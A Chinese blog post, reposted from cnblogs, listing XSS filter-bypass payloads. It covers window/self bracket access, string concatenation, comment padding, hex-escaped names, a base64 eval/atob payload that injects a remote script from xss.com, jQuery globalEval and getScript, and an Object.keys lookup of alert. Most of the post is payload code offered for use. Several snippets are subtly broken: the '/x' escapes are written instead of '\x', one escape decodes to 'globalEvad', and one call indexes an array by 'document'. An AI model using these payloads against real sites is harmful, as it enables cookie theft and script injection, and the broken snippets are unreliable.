各种变异绕过XSS过滤器详解程序员

各种变异绕过XSS过滤器(Various variations bypass the XSS filter )

文章来自:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html  我超怕的

 

利用window等来操纵会被认为是全局变量 window.self 与self同样效果

1、window

window["document"]["cookie"] //代替document.cookie

2、window

window['alert'](["document"]["cookie"]); //代替 alert(document.cookie)

3、self

self["alert"]("123xss") ;//代替传统alert

4、注释

(/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替传统alert

5、利用拼接( self替换成window同样效果)

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替传统alert

6、利用十六进制( self替换成window同样效果)

self["/x61/x6c/x65/x72/x74"]( 
 
   self["/x64/x6f/x63/x75/x6d/x65/x6e/x74"] 
 
       ["/x63/x6f/x6f/x6b/x69/x65"] 
 
)   //alert(document.cookie)

7、利用BASE64( self替换成window同样效果)

self["/x65/x76/x61/x6c"]( //eval 
 
  self["/x61/x74/x6f/x62"]( //atob   base-64解码方法,base-64 编码使用方法是 btoa() 
 
 "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=") 
 
)//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);

8、利用JQuery

1) self["$"]["globalEval"]("alert(123)");  //alert(123) 
 
2) self["/x24"](//$ 
 
  self["/x67/x6c/x6f/x62/x61/x6c/x45/x76/x61/x64"]//globalEval 
 
  ["/x61/x6c/x65/x72/x74/x28/x31/x32/x33/x29"] //alert(123) 
)
3) self[
"$"]["getScript"](url). getScript //从url获取js脚本

9、利用Object.keys

 a=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //获取alert在数组中的位置 
 self[Object.keys(self)[7]]("123") // 假设通过上述代码执行结果为7  执行效果:alert("123")

 

//如果不允许我们使用“alert”字符串,并且上面的方法都不能使用,
//我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。
//我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。
//然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$:
a = function() { c=0; for(i in self) { if(/^a[rel]+t$/.test(i)) return c; c++; } } a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} self[Object.keys(self)[a()]]("123") // alert("123")

以上思路来自 嘶吼。

原创文章,作者:Maggie-Hunter,如若转载,请注明出处:https://blog.ytso.com/2161.html

(0)
上一篇 2021年7月15日
下一篇 2021年7月15日

相关推荐

发表回复

登录后才能评论